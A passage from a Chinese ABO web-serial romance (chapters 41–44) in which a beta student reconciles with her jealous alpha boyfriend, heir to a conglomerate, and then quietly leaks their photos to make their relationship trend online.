随性又锋利,是陆恪一贯的风格。 他们不在大厅吃饭,有单独的,安静雅致的隔间。 陆恪穿过餐厅,目光不期然落在窗边,随后脚步缓缓顿住。 方知明带着任务来的,眼里什么都注意不到。他看着陆恪停下脚步,还以为是在好心等他,感动极了。 “陆哥,你就稍微低个头,毕竟都是一家人,你何必……”方知明看着陆恪冰冷阴郁的眼神,意识到不对,慢慢闭上了嘴。 他随着陆恪的眼神看过去,便看到窗边那两个暧昧的身影。 方知明心中:我靠。 40-50 第41章 第41章别骗我 办理完出院已经是下午了,陆恪左手不能动,带着护具。 “我送你回去吧,回你家吗?”千述道。 医院门口川流不息,来来往往的车辆。陆恪手受了伤,没法开车,方知明又走了,没人接他。 陆恪抿着唇不讲话,没同意也没拒绝。 那就是同意的意思。 千述在手机上打了车,司机需要三分钟才能到这边,两个人就站在医院门口吹冷风。 有点尴尬。 两个人其实也不知道要说什么,就是在这样的场景下,来来往往都是人,好像说什么都不太适宜,于是千述保持缄默。 车很快就到了,停在两人面前。 千述给司机报了手机尾号,随后对陆恪嘱咐;“你先上车吧,回去好好休息,这几天尽量不要动你的左手。” 她等会儿还要回学校,所以没有想过停留太久。 陆恪垂眼看着千述,沉默着没说话。他眼底就跟燃着火焰一样,越烧越大,越烧越猛。 他几乎是咬牙切齿的瞪了千述一眼,然后转身怒气冲冲的上了车。 千述扶着车门有点懵,不知道大少爷怎么就发这么大的脾气。 “小姑娘你上车吗?我们要走了,这里不能停太久。”司机转头看过来,提醒道。 在医院门口可以上下车短暂停靠,但是不能停留超过三分钟以上。 陆恪冷声道:“别管她,走。” 千述看着陆恪怒气正盛的眉眼,锋利又张扬,真是漂亮的一双眼睛。哪怕是生气了,也无损它的美。 就好像瞬间就明白了什么,千述放弃了回学校的想法。她顺势上了车,微微一笑:“一起走吧。” 车上的氛围有些凝滞,两个人都不说话。陆恪转头看向车外,侧脸下颌线冷峻。千述垂眼回复手机消息。 千千树:“今天晚上不回来了。” 千述在寝室群里发消息,没过三秒,寝室群里炸锅了。 谢谢宁嘞:不回来是什么意思啊?好难猜。 谢谢宁嘞:(坏笑.jpg) 千千树:单纯一点。 向钱看:那你啥时候回来? 千千树:明天下午吧,应该。 罗罗罗罗玉兰:从校外回来的时候能给我带一份桥头那边的炸蘑菇吗? 谢谢宁:我也要一份。 千千树:okkk 千述将手机收了起来,旁边的人还是转头看着窗外,很倔强的样子。车辆在路上行驶,穿过城市的风景。 傍晚,暮色四合,天色已经暗了下来。现在秋天,晚上的时候就有点冷飕飕的。千述出门穿的不多,风吹动她耳边头发,会有冷淡的感觉。 千述很安静的时候就会给人冷淡的感觉,好像她是游离在世界之外的人。 陆恪身高腿长的,气冲冲的走在前面,千述慢悠悠的跟在他后面。 门关上的时候,屋内没开灯,很暗,只有落地窗那边从外面泄进来的微光,朦胧。 千述突然将陆恪抵在门上,欺身上前,她勾着陆恪的后颈,让他被迫低下头来,随后吻了上去。 吻是一下接着一下的,就像是在逗趣一般的轻啄,带着宠溺。 “别生气了好不好,怎么气性这么大,我不是已经送你回来了吗。”千述在双唇分开的间隙,轻声哄他。 她在这种时候,一般是极温柔的,哄着人,说些甜甜蜜蜜的好话。但是今天真的是踩中陆恪的雷点了。 千述不说还好,一说陆恪更加生气,他偏开头,涩声道:“你别亲我。” 吻落在了陆恪的唇角,千述抬眼看他,陆恪面色冷沉,很明显没有消气。 千述有些苦恼。 千述钳住陆恪的下巴,把人转过来。陆恪垂眼低眸看着千述,眼尾已经有点红了。 只有微弱的光落在陆恪的眼中,能让千述看清他眼中的情绪,有点委屈,还有点伤心。陆恪这段时间,就没有心情平静的时候,总是因为千述而情绪起伏。 千述的眼神微动,心脏的某一处开始变得酥软,然后塌陷下去。 两人的目光,在昏暗的室内交缠在一起,带着暧昧,但又像是对抗。空气中弥漫着一种微妙又奇异的氛围。 良久,陆恪才微微开口,怄气的说:“我没让你送我回来。” 几乎是瞬间,千述心下松了一口气,她就像是临在交卷时想到了正确答案。 千述忙道:“是我要送你回来的。” “我想送你回来。” 千述抬眼看他,目光真诚的要命,她简直要想把刚刚在医院门 口不开窍的自己敲晕。千述在感情上很笨拙,还不舍得花太多心思去了解。 这让她在陆恪面前屡屡碰壁,因为陆恪实在是太敏感,他总能在细枝末节处发现千述的敷衍。 今天陆恪勉强相信了千述的话。 两人又吻在了一起,从玄关到沙发。 陆恪靠在沙发上,千述支起身,尽量不压着陆恪的手。捧着他的脸,吻细碎的落下。千述的齿轻磨陆恪的下唇,身下的人难耐皱眉。 陆恪喘/息,喉咙里挤出一丝声音道:“别这样,疼。” “好。”千述轻笑一声,放开了他的下唇。 周围的温度似乎变得灼热,连空气都变得稀薄。 陆恪扬起头,整个人都在千述的掌控之中,感受着千述热烈的吻。他闭着眼睫毛轻颤,呼吸变得急促。千述的舌尖探入陆恪的口中,与他的舌尖勾缠着。 在千述短暂松开他的时候,陆恪抬眼看着千述。 “跟那个omega断了。”陆恪声音低哑,眼眸紧盯着千述,又因为泛着春情,反而更像是在勾/引。 千述完全没听清陆恪在说什么,只觉得他好看。千述没忍住,低下头吻了吻陆恪的眼睫。 陆恪推开她,脾气有点上来了:“我让你和那个omega断了。” 尽管不想承认,但陆恪心里的恐慌是掩藏不住的。那个omega和他完全不一样,蒋屿善良,温柔,和千述也很聊得来。 千述会喜欢他吗? 天知道在看到千述牵着蒋屿的时候,陆恪心里有多难受,感觉心脏都缩成一团。陆恪甚至想要不顾一切冲上去,把那个贱人赶走。 “你是在说蒋屿?”千述似笑非笑的看着身下的人,反问道。 她没有给出肯定的答复,陆恪当然不依。 “你想脚踏两只船?”陆恪面色沉了下来,凤眼凌厉。 他语气恶狠狠的,又带着一丝不易察觉的心慌:“你如果敢一边和我在一起,一边又吊着别人,千述,我绝对不会放过你。” 千述勾唇一笑,起了挑逗之心。她抬起陆恪的下巴,封住他的唇,深深吻住。陆恪闷哼着推她的肩,力道却微乎其微。 良久,千述才心满意足松开他,揶揄道:“大少爷怎么不放过我呢?真的很好奇。” “你!”陆恪气得不行,脸都涨红了。 千述总是这样,敷衍的,模棱两可的,让人捉摸不透她的心,也没有安全感。 鼻尖泛着酸意,陆恪憋了好久的情绪终于忍不住了。可能是黑夜模糊,把情绪放大,也可能是喜欢的人在身旁,让他卸掉了一些防备。 陆恪直勾勾的看着千述,一滴泪猝不及防的就落了下来。 他真的太讨厌千述了。 “你放开我。”陆恪哽声道,他推开千述,已经难过的不想再跟她挨在一起。 千述一把抓住陆恪的手腕,整个人好像被陆恪的眼泪烫到,不敢去看他泛红的眼眶。 陆恪还要挣扎,千述制止。她忙解释道:“我没跟蒋屿在一起。” “那你为什么牵他的手,你以为我没看到吗?”陆恪声音都大了起来,“你当周围人都是瞎子?” “他当时要摔倒了,所以我扶了他一下。” “我发誓,就那一下。” “你信我。”千述难得正经的为自己辩解,她眸色深深的看着陆恪。 她说,你信我。这句话的分量说重不重,说轻也不算轻。只看听的那个人信与不信。 陆恪含泪的眼死死的看着千述,室内安静沉默,两人的呼吸声清晰可闻 半响,陆恪凑上去,送出了自己的吻。 这是他态度软化的表现。 千述也很上道,夺取了主动权。 因为缺氧,陆恪脑袋已经变得晕晕乎乎,只知道顺从的跟着千述的节奏,温热的呼吸交缠在一起。 “千述,你如果骗了我,我会恨死你的。”陆恪语气执拗,带着偏执。 千述愣了一下,沉默半响,轻声道:“好。” …… 他们那天晚上没做,千述又不是禽兽,看着陆恪受了伤,还硬上弓。 他们只是躺在一张床上,又像在出租屋的那段时间,亲密无间。 陆恪变得特别爱接吻,他知道千述不会对他怎么样,就肆无忌惮的,痴缠着千述亲他。 他甚至担心千述觉得无趣,趴在千述耳边有些害羞的说:“要不我帮你吧。” 只要千述不对他来真的,别的方面陆恪都适应良好,包括取悦她。 千述瞥了眼他带着护具的手,叹了口气,无奈道:“还是算了吧,我没那么变/态。” 千述把灯关了,然后闭着眼睛,道:“睡觉。” 黑夜中,陆恪窸窸窣窣凑到千述的怀里,头靠在她的颈侧,温热的呼吸洒在她的皮肤上。 “千述,你可以不要去找别人,多给我一点点适应的时间吗?” “你不要去找别人好不好,我会很努力的。” 陆恪的声音很低很轻,萦绕在千述的耳边。 “我只是有点害怕。” 在和千述的感情当中,身为alpha的陆恪需要做出的改变是最多的。 千述是beta,她几乎不需要改变什么。beta不受信息素支配,在感情中冷静自持。 而陆恪,不仅要在生理上承受易感期无法标记伴侣的痛苦和患得患失,还要在心理上舍弃作为性关系中上位者的自尊。 这对于骄傲的陆恪来说是极困难的。 但是他有很努力的去适应,为此他还去学习极少极少的AB伴侣,在床事上面是怎么操作的。 然后被吓到了。 黑暗中,千述叹息一声,她低头亲了亲陆恪的眉眼,道:“知道了,睡觉。” 第42章 第42章恋情曝光 天气渐凉,又到了一年秋风萧瑟时。 随着毕业的临近,时间不断推进,人生已经站在不同的分叉路口。 “你论文写的咋样了?” 千述和罗玉兰往楼下走去,罗玉兰要去拿快递,千述则是去图书馆写自己的论文初稿。 “模型跑出来的结果和理论上有点偏差,还在改代码。”千述有点头疼,她为了这个实验结果已经两三天没睡好了。 罗玉兰也感同身受,她叹气:“我也是,在电脑上运行的好好的,但是硬件做出来就总有误差,真的难崩。” “真是烦死了,得出来的数据和师姐指导的就是一个天差地别吧。”罗玉兰真是要被实验搞崩溃,上火嘴里长了俩溃疡。 “唉,愁人。”千述叹息。 本科生的毕业论文,导师只在比较重要的节点出现,其他很多时候都是手下的研究生在带。 她们俩,包括向曼青都算是比较轻松的,只需要把毕业考论文写好就行。反倒是谢宁,这段时间真的是忙到飞起,还有一个月,就到了考研的时间。 谢宁整个人都沉静了不少,每天自习室,寝室,食堂三点一线的行程。 楼下,站在不远处阴影里有一个高大的身影,因为在不太显眼的地方,两人刚开始还没注意到。 “我要等一个人,你先走吧。”千述道。 “好。”罗玉兰点头。 快递站和图书馆不顺路,罗玉宁就先走了。千述往周围看了一眼,才看见在角落上的人,低头在玩手机。 跟阴影里的小蘑菇一样,让人很难发现。 千述走了过去,问道:“怎么站在这里,我刚才都没看到你,以为你还没到。” 今天风有点大,吹得陆恪唇有点干涩,他的手已经好了很多,拆了护具。 他抬眼看着千述,闷怏怏道:“不是你说让我在学校少跟你接触吗?这里到处都是人,会看到的。” 千述想起来之前陆恪开着车,大张旗鼓的在楼下等她。她当时心里有点烦,让陆恪以后在学校少跟她接触。 没想到陆恪一直记在了心里。 千述有点心虚,她抬手摸了摸陆恪的脸,被风吹得冰凉:“之前说的话不算数,以后不用在角落里等了。” “哦。”陆恪听了这话,兴致也不高。他走近一步,抱着千述,头耷拉在她的肩上,“可你当时对我很凶,很冷漠的跟我说话。” 他们这个地方不显眼,还有树木挡着,所以周围没啥人。 陆恪开始翻旧账了,在千述耳边碎碎念。只要说起千述在感情中的罪行,陆恪能几天几夜都说出不重样的。 他说千述当时回学校就不理人,发消息也不咋回。还当着一群朋友的面凶他,嫌他烦,语气特别差。 然后说他当时特别难过,发誓不会再理她了。 千述:“” “那你后 面怎么又来找我了?不是说再也不理我了吗。“千述笑问,带着点打趣。 陆恪不说话,愤愤咬了一口千述的耳垂。 “我当时没想凶你,我只是有事在忙,恰好你打视频过来,所以声音大了一点。”千述开始为自己辩解。 “真不是在凶你。” “你就是凶了。”陆恪反驳。 “还特别不耐烦的说话,方知明都听到了,我身边所有的人都听到了。” “我讨厌你。” 好吧,千述也摆烂不解释了,任陆恪在她耳边翻旧账。 主要是真没法解释,因为那个时候,她心情确实很一般,对陆恪也没什么耐心。 两人在角落处呆了一会儿,最后以千述亲了陆恪一口,低声哄他,才勉强把这个事儿给圆过去。 千述和陆恪一起去了图书馆,千述是经常去图书馆的,尽管大学已经不再像中学时期那样,一门心思读书。但是千述在学习上,依然十分努力。 倒是陆恪,这是他大学这么多年第一次来图书馆。 他除了陆老爷子最后在世那几年认真学习过,后来的时光几乎在游戏人间。陆恪就是要让他爸心里不痛快。 陆恪就算无所事事,他妈妈留给他的资产,也够他挥霍一辈子。 A大的图书馆,巍然立于校园之中,灰砖青瓦,四平八稳。里面书架林立,藏书众多。 图书馆内安静恬然,只有书页翻动和键盘敲击的声音,让人的心不自觉安静下来。 千述他们坐在了靠窗角落的地方,旁边是一株绿植。今天早上虽然吹了点风,但是天气还算不错。 千述把笔记本电脑从包里拿出来,带着黑框眼睛,全神贯注的看着面前的代码。千述专注力高,只要认真的在做一件事就很少分心。 键盘是消音的,但是离得很近还是能听见敲击的声音。陆恪趴在桌上,百无聊赖,抬眼看着千述 千述有点近视,但是度数不高,200多度。工作或者学习的时候,千述就会戴着眼镜,镜片后的眼睛平静冷淡,结着一层薄冰。 陆恪其实在图书馆没什么事,他就是想要和千述待在一起,不愿意跟她分开。所以,哪怕是很无聊的图书馆,陆恪也跟着来了。 他本来还拿了本书看,后来觉得无聊又丢开,就趴在桌上静静的看着千述,然后看着看着就眼神迷离,睡着了。 昨晚跟方知明打游戏,熬到半夜,图书馆里又很好睡。 千述注意力放在电脑上,根本没注意。等她把手中的事情告一段落,已经是三个小时以后,千述神情松懈了很多。这时才发现,陆恪不知道什么时候,在旁边趴着睡着了。 头枕在手臂上,侧着脸,头发有些凌乱,脸上染上酡红,呼吸轻柔平稳。陆恪睡着以后,眉眼都柔和了许多,不像平日那般,凤眼斜飞,锐利逼人。 千述垂眼看着他,光落在他的脸上,长长的睫毛投下一片淡淡的阴影。鬼使神差的,千述抬手,指尖轻轻拨弄着陆恪的睫毛,觉得有趣。 陆恪蹙了蹙眉,眼看着就要醒了,千述收回了自己的手。 现在到了中午,图书馆里人少了些,大家都去吃饭了,桌上摆着书和电脑。 陆恪睁开眼,刚睡醒的双眼带着惺忪。他睡得不算舒适,毕竟图书馆的凳子很硬,桌子也很硬,趴着睡很不舒服。 但是有千述在身边,陆恪又会觉得安心一点。 他眼神迷离的看着千述,随后直起身张开双手,懒懒的抱着她,头靠在她的肩上,蹭了蹭,像小猫一样。 千述抬手摸了摸他的头发,带着安抚,没说话。 这边在角落里,旁边又有绿植遮挡住别人的视线,这让两人陷入一种隐秘的暧昧之中。氛围实在是太恬静了,甚至有了岁月静好的感觉。 千述的手缓缓抚上陆恪的脸颊,指尖滑过他因为熟睡而温热的脸,再轻轻摩挲他的嘴唇。陆恪似乎懂了什么,他微微睁眼,与千述视线交缠。 千述勾唇一笑,带着些顽劣,她吻了上去。 陆恪睫毛轻颤,心跳开始变得有些快。千述轻咬他的下唇,陆恪吃痛,微微张开双唇,千述的舌尖探入,亲吻愈发缠绵。 图书馆毕竟是学习的地方,千述也没做的太过分,亲了亲就松开了。她起身收拾电脑,陆恪还有点懵,没从刚刚的亲吻中回过神来 后来两人的关系愈发亲密,甚至到了形影不离的地步。方知明看到陆恪这一刻也离不开的样子,真的想捂头大叫“完蛋”。 救命,恋爱脑原来在我身边! “真没必要这样天天黏在一起吧,陆哥。”再又一次约陆恪约不出来后,方知明直接上门去找他。 “酒也不喝了,车也不飙了,兄弟的消息也不回了,你说这对吗?”方知明靠在沙发上,拿着手机翻着和陆恪的聊天记录,大吐苦水。 发十条微信回一条的节奏吧。 老天爷,这对吗? 当时陆恪已经穿好了衣服,准备去学校找千述。 现在陆恪最常做的事情就是在宿舍楼下面等千述,然后跟她一起去图书馆,去自习室,去食堂。 千述空闲的时候,还会拉着他在操场闲逛。就像是很普通的校园情侣一样,会在傍晚夕阳下操场看台的角落亲吻。 跟千述在一起,陆恪会有种整个人沉浸在温水中的幸福感,仿佛身心都得到了抚慰。 陆恪有提议过让千述搬出来和他一起住,但是千述拒绝了,只是有时候会去他那里过夜。 他们有做很多边缘性行为,但是都没到最后一刻。千述很克制,也很尊重他的意愿。 刚开始陆恪还觉得心里松了一口气,后面就开始有点心慌。他害怕自己太过犹豫纠结,让千述不喜,就只能从别的地方补偿她。 他经常俯在她的身下,取悦她,让她开心。甚至次数多得让千述都有些觉得过头,需要节制。 千述把人拉上来,看着他在被子下面憋红的脸,还有泛着水光的唇。千述有点无奈:“你真没必要做到这个地步。” “那你不喜欢吗?”陆恪抿了抿唇,涩声问道。 千述顿了一下,诚实道:“我喜欢。” 陆恪心下稍松。 千述叹了口气,又接着道:“但是喜欢也需要节制,我真不是那种天天想着纵欲的人。” 千述都不知道哪里出了问题,让陆恪觉得她很急,天天想着下面那点事。但是天地可鉴,千述真的没有! 甚至她在性方面比较冷淡。beta本身就是很冷静的性别,不会像AO那样,信息素匹配就仿佛天雷勾地火一般,欲/火焚身 “陆哥,谈恋爱不是你这么谈的。”方知明好兄弟一样,勾住陆恪的肩。 “每个人在恋爱中都需要隐私空间,你不能一直黏着千述。现在感情好无所谓,以后时间久了,千述会觉得被束缚,然后厌烦的。” 方知明在恋爱方面上确实比陆恪有经验太多,而且他还特别喜欢当陆恪的狗头军师。 其实方知明这话说的没错,但是陆恪不爱听。他抬眼冷冷淡淡的看着他,凉飕飕的。 方知明感觉空气有点冷,但还是坚持道:“陆哥,这真不是我危言耸听。我认识好几个朋友都这么被甩了,我只是给你提个醒,让你别踩坑。” “当然了,我和我对象肯定没有这方面的困扰啦,我们是互相喜欢的,就不会觉得束缚之类的。”在 给陆恪分析的时候,方知明还不忘炫耀自己的绝美爱情。 “难道我们不是互相喜欢?”陆恪面色沉了下去。 ok,方知明成功踩中陆恪的雷点了。 尽管方知明讲的很不靠谱,但陆恪还是觉得他说的有些道理。毕竟在感情这件事情上面,方知明确实比他多一点经验。 千述收到陆恪消息的时候,她正在跟媒体朋友那边进行对接。 陆恪说他今天要跟方知明还有别的朋友,去新开的赛车场试试感觉,就不来学校找她了。 千述回复:“好的,玩的开心。” 陆恪又有点不高兴了,憋着气没回复。 千述的心思完全放在了另一个人身上。 这位A大的公共关系专业的学姐,千述和她是在一场活动中认识的,毕业以后学姐主要从事新媒体公关方面的工作,认识很多公关团队和媒体团队。 “你要爆这两张照片?”学姐问道,“这不是你自己吗?还有一个人怎么看着这么眼熟,长这么帅。” 照片上是千述和陆恪在图书馆时被拍下的照片,一张是陆恪头靠在千述肩上,一张是千述低头亲他。 两张照片都拍的很唯美,并且能看清楚他们的脸。 “陆氏集团未来接班人,你就带这个tag,再推点流,应该能爆。”千述把需求发了过去,“推广的费用后面再结,如果效果不理想还可以再买个热搜位。” 千述条理清晰的说出自己的需求。 如果说之前千述不愿意让贺诚军知道她和陆恪的关系。那么现在,千述则会大张旗鼓的,把她和陆恪的关系摆在贺诚军面前。 “等等,陆氏集团的大少爷?是我知道的那个陆氏集团吗,陆总的儿子?!”学姐太吃惊了,还发了一条语音过来。 陆恪的身份尽管在圈内人尽皆知,但是在网络上陆凌风还是比较保护的。陆恪现在没掌权,还在读书,自然没有走到台前的必要,很少看到有讨论他的帖子。 但是对于豪门的秘辛,人们总喜欢去探索挖掘,期望能窥探到他们一星半点的私人生活。 “你这是傍上豪门了啊,千述。”学姐羡慕道。 学姐在社会浸染了几年,已经不是天真单纯,视金钱如粪土的学生了。能傍上豪门,那真的做梦都快笑醒了好吧。 这两张照片发出来,千述和陆恪的恋爱关系就会坐实。陆恪的身份,会连带着将千述也带火。哪怕有一方不承认恋情,桃色绯闻都会将二人进行深度绑定。 “他这身份,这脸蛋,还需要买什么热搜位啊,发上去铁定爆的。真是恭喜你啊,千述,真让你发大财了。”学姐笑嘻嘻的说。 她没觉得千述此举有什么不对,也没问她的动机,很自然的接受了。 千述没说什么,垂着眼,沉默半响道:“麻烦你了,学姐。” “没事,搞不好这两张照片发出去,我这个月的kpi都搞定了,那我还得谢谢你。”学姐笑道。 晚上八点,陆氏集团继承人恋情曝光冲上热搜。 第43章 第43章没觉得多喜欢他 热搜来的迅猛,很快就冲到了榜上前五。虽然没有到大爆的程度,但是已经引起了很多人的关注和讨论。 广场上发帖的人数多了起来,大家主要讨论的都是陆恪。 毕竟大名鼎鼎陆氏集团接班人的身份,以及他本人出众的脸蛋身材,让他的热度一骑绝尘。 1楼:我靠,这颜值是真实存在的吗?我还以为是哪个明星。 2楼:管家,三分钟我要这个男人的全部资料。 3楼:@2楼,标题上说了,陆氏集团的接班人!! 4楼:陆总只有一个儿子?是alpha吗?好帅!! 5楼:听说是两个儿子,不过都没在网上出现过。 6楼:@4楼,他是我们学校的,是alpha。 7楼:姐姐,你主页标的A大,哇!!好厉害,大佬。 8楼:@7楼,不算厉害,学校优秀的人很多哈哈哈。 9楼:都是啃老的富二代罢了,长得也就那样吧,不知道在夸什么。 10楼:@9楼,谁家狗放出来了,汪汪叫。 11楼:@9楼,人家A大的,你酸了就直说。 12楼:弱弱问一句,没人觉得那个女生也很好看吗,啊啊啊啊婚纱怎么穿在身上了,姐姐我可以。 13楼:我懂我懂!姐姐别亲他了,亲我!! 没有人会不喜欢帅哥,尤其还是一个有钱的,学历高的帅哥。 反倒是和他在一起的千述,没有太多的关注,就像是在熠熠生光的明珠旁边蒙尘的璞玉。 帖子在热搜是挂了一个小时,就被按了下去,速度很快。只要是和陆恪有关的,无论是他的照片,还是有关于他本人的爆料,全部都被删了个精光。 陆氏集团的公关部下场了。 但是无所谓,千述的目的已经达到了。 酒吧,灯光昏暗闪烁,音乐激昂喧闹,人们三五成群聚在一起,或立或坐。 陆恪他们一群人这次在大厅里的卡座,外面的气氛比单独开包房更加热闹,来来往往都是人,给他们敬酒的人都来了好几波。 他们白天的时候去郊外的赛车场试了几圈跑道,晚上赛车场的老板就请他们来喝酒。主要是想拉他们几位公子哥投资,尤其是中间的陆恪,是老板这次的主要目标。 他们这群人虽然还没掌权,但是家里都会给他们钱,让他们用来投资,练练手。 陆恪兴致缺缺,他今天虽然出来玩了,但是明显不是很有兴趣。他从坐在酒吧里,就一直垂眼在看手机,被人给他敬酒,也只是象征性抿一口,或者直接不喝。 反倒是方知明对这个项目感兴趣:“这个赛道建在哪里呢?A市已经有一个F1赛道了,小的也开不起来。” “这个赛车场我们打算建在S市,S市的市场空白,前景很大。这个赛道按照F3的标准来建,以后可以用作国际F3的赛事,卡丁车场,漂移赛车场等。” “打算拉多少投资。”陆恪漫不经心抬眼,问道。 老板看他感兴趣,忙不迭的回答他:“预期的投资是3亿,目前已经有个资方投了钱,只是还差一些。” 陆恪沉吟,他垂眼看着手里的酒杯:“这种小型赛车场回报周期太长了,不划算。” 老板见他兴趣不高的样子有点着急:“选址离城市不远,开车过去也就半小时,很方便。盈利的方式也很多,可以举办赛事、提供赛车培训、出租场地给影视拍摄。” “最主要是S市现在没有赛车场,但是那边豪车保有量大,可以趁这个空缺入场,具备投资的潜力。” 在场的几位富二代,连方知明都听得心动了。他们几个人喜欢玩车,自然对赛车场的项目比较感兴趣。 陆恪垂着眼百无聊赖的划手机,面色淡淡的,也不知道有没有听。如果陆恪不投,跟着他的玩的几位少爷估计也不会投。 老板在他旁边口水都说干了,从地理位置,说到人文环境,能想到的投资理由都说高了。但是陆恪依旧没吭声,很难搞定。 老板都觉得不报希望,谈不拢。没想到峰回路转。 “回去把项目企划书发给我,我看一下。”陆恪抬眼,平静的道。 老板一喜,心道,这把稳了。他忙道:“好,回去发给您。” 千述自从中午的时候回了陆恪一句“玩的开心”,后面就再也没给他发过消息。因为生意谈妥了,大家都开始把酒言欢。 甚至到了后面,老板还点了陪酒的进来,让氛围更嗨一点,beta,omega都有,甚至连猎奇的alpha都有。 老板以为他们一群二代玩的开。 有omega歪歪蹭蹭的靠着方知明,方知明把人推开,很有原则的说:“我可是有家室的,喝点酒还行,别的就算了。” 方知明这边还好,陆恪那边才是被人给围上了。那些omega都往他身边凑,还偷偷的释放omega信息素,期望能得到他的回应。 陆恪的脸色越来越难看,不知道是因为千述没给他发消息,还是被身边omega的信息素扰的心烦。 他几乎有些控制不 住心中的一些暴躁的情绪。陆恪把酒杯放在桌上,轻轻的“叮——”一声,在热闹的酒吧一点都不清晰。 但是老板仿佛如雷贯耳,他一下就看出了陆恪的不耐烦,于是忙将这些陪酒的人打发走。 “原来陆少不喜欢这些,是我好心办坏事了,该罚。”老板忙起身,笑着给陆恪敬酒,自罚了三杯。 陆恪没说话,这事算揭过去了。 最后这场酒局,没有维持很久。因为陆恪心情不高,所以大家很快就散了。方知明和陆恪一起离开的,他蹭陆恪的车。 陆恪坐在后座,闭着眼,靠在椅背上,睫毛一颤一颤的,脸上染着红,呼吸也很重。 方知明转头看他,有些奇怪道:“陆哥,我看你也没喝什么酒啊,怎么醉得这么厉害。” 在酒吧里,陆恪全程就在那里看手机,方知明以为他在搞什么深奥的东西,凑过去一看。 俄罗斯方块。 还是静音版的。 方知明都有点无语了,这是什么老年人游戏。反正陆恪没喝多少酒,就在那玩手机了。 陆恪没回答方知明的问题,他现在觉得脑袋昏昏晕晕的,有点难受,有点热,很像喝醉以后的表现。 方知明见他不讲话,也就没再打扰他。他打开手机,给自己甜蜜蜜的omega对象发消息,开始汇报自己今天的行程。 因为他和他对象是异国恋,所以方知明几乎时时刻刻都会向对方汇报自己的行程,大到今天去赛车,小到今天早餐喝的咖啡,方知明都要汇报一遍。 他当然不会承认自己是黏人,方知明觉得这是在维护二人的感情。 方知明其实特别不理解陆恪这种,要闷着,不肯直接表达出来,一定要千述猜,然后千述猜不出来还要生气的行为是在干嘛。 可能这是陆哥和那个女beta的情趣吧,方知明表示不懂。 只有那个女beta才能忍受陆哥的坏脾气。 跟对象在手机上好一阵腻歪以后,女朋友说要去和朋友聚餐了,方知明才恋恋不舍的中断聊天。然后还要发过去一个亲亲的表情包,对方也回一个亲亲。 方知明这才退出聊天框。 他只是随手刷刷手机,然后屏幕上方就弹出来一条讯息。 #陆氏集团继承人恋情曝光,没想到对方竟然是。一惯的新闻风格,标题取得劲爆,内容就是一坨屎。 方知明点进去了这条推送,然后就看到千述和陆恪的照片。 文案是:陆氏集团继承人和beta女友在图书馆学习,这氛围好有爱,听说二人是同校校友,真是天作之合,郎才女貌。 下面有人锐评:没看出哪里天作之合了,女方家世差太多,A10水平都达不到吧。还是一个beta,更是哪哪都配不上了。 下面大多数人都夸陆恪帅,家世好。还有网友开玩笑问他家保姆房空出来没,收拾收拾东西准备去了。 少部分人不看好这段感情,说陆恪估计就是玩玩,过一段时间就分了。 还有极少极少的人评论:啊啊啊啊啊为什么我觉得照片拍的好好看,真的很有氛围感,大少爷靠在对象肩上,看着好娇,磕了。 有人忍不住在下面跟楼:我说恋爱脑就该入刑。 这个新闻才发出来没多久,就引发了很多讨论。 方知明把手机拿到陆恪面前,拍了拍他的肩膀,震惊道:“陆哥,你和千述在网上火了,靠!这是你找人拍的照片吗,咋拍这么好看啊!” “这拍的跟情侣写真一样,我也想跟我对象拍!!摄影师推给我好不好,拜托了陆哥。” 说实话,方知明看到这个热搜的时候,以为是陆恪买的。照片拍的又好看,文案还是夸他们感情的,怎么看都像是恋爱脑可能做出来的事。 陆恪现在实在是不舒服,但是听到和千述有关,他还是睁开了眼。 方知明最好是真的发现了什么不得了的东西,否则他在旁边一惊一乍的,陆恪真的会生气。 方知明手机都快凑到陆恪眼睛面前了,屏幕上赫然是千述捧着陆恪的脸,低头亲他的照片,陆恪闭着眼,很乖的仰着头。 图书馆有时候真的自带氛围,只是很普通的一张照片竟然也能感受到其中的缠绵和暧昧。 陆恪脑子清醒了一点,他拿过方知明的手机。开始翻看照片。其实就发了两张照片是千述和陆恪,剩下有两三张陆恪中学的照片,有点模糊,不知道是在哪里找到的。 很明显,这个热搜的主要人物是陆恪,但是大家依旧在讨论陆恪和他的beta女友的事情,毕竟桃色新闻更能勾起大家的兴趣。 陆恪没去思考为什么自己和千述会突然在网上火了,又是谁偷拍的他和千述,为什么突然会有这么大的热度。 这些陆恪都没想。 他只是把这两张照片存下来,然后用方知明的微信发给自己。 陆恪来回的欣赏了两三分分钟,不再怪方知明一惊一乍了:“确实拍的挺好看的。” 陆恪又点进热搜了,翻下面的评论区。他把下面夸他和千述的都给赞了个遍,看到夸得特别真诚的评论,陆恪还会回复一个红色小爱心。 很可爱。 翻到下面一条评论,热度还挺高的,下面有很多人同意他的观点。反正就是不看好千述和陆恪,陆恪面色瞬间沉了下来。 他用方知明的手机回复:“她配不上,难道你就配得上?你算什么东西,给我提鞋都不配。” 方知明在一旁有点崩:“陆哥,这是我大号!” 方知明经常用这个大号记录他和omega女友的恋爱日常,还有一千多粉丝的。 因为陆恪的评论实在恶毒,很快就被楼主回复:“少在我这里当杠精,老子要给你提鞋?” “你不信?就看他们能走多远吧。说实话,我不觉得这个beta有多喜欢他,估计是看中他的钱吧。” 陆恪的眼睛几乎被这条评论刺痛,他甚至觉得心脏都停跳一拍。但是下一瞬,陆恪的愤怒就尘嚣欲上,怒火越烧越旺。 他还想跟别人对线,方知明一把扯过了手机,劝道:“陆哥,陆哥,你冷静一点。” “我账号会被扒出来的,到时候我们就被开盒了!” 第44章 第44章你能来看看我吗 还没等方知明删评论,这个帖子就已经显示不可见,被删掉了。 连带着广场上很多的帖子都被删掉了,方才还热闹的讨论的评论区,现在就像沉入水中,再不可见。 方知明看到这皱了皱眉头,意识到是陆家的公关团队下场了。方知明转头看向陆恪,问道:“陆哥,这不是你买的热搜啊?” 如果是陆恪买的,陆氏的公关团队不会大规模删帖。 陆恪没说话,他侧头沉默的看着窗外的景色。玻璃的反光,能看见陆恪紧抿的唇,还有低垂的眼睫。 现在是晚上,路灯已经亮了起来,千篇一律的景色,其实也没什么好看的。 车内的氛围很安静,方知明已经明显能感觉到陆恪心情有些不好了。 “陆哥,网友说的话你不必放在心上。”方知明知道陆恪看到了那些不好的评论。 方知明安慰道:“那些网友又不了解你和千述,说的话都可以当做放屁。但凡网友认识你们,都说不出那些话。” “那你觉得千述喜欢我吗?”陆恪突然转过头来,冷不丁的问道。 他的神色很平静,眼眸幽深,让人看不清他眼底真实的情绪。 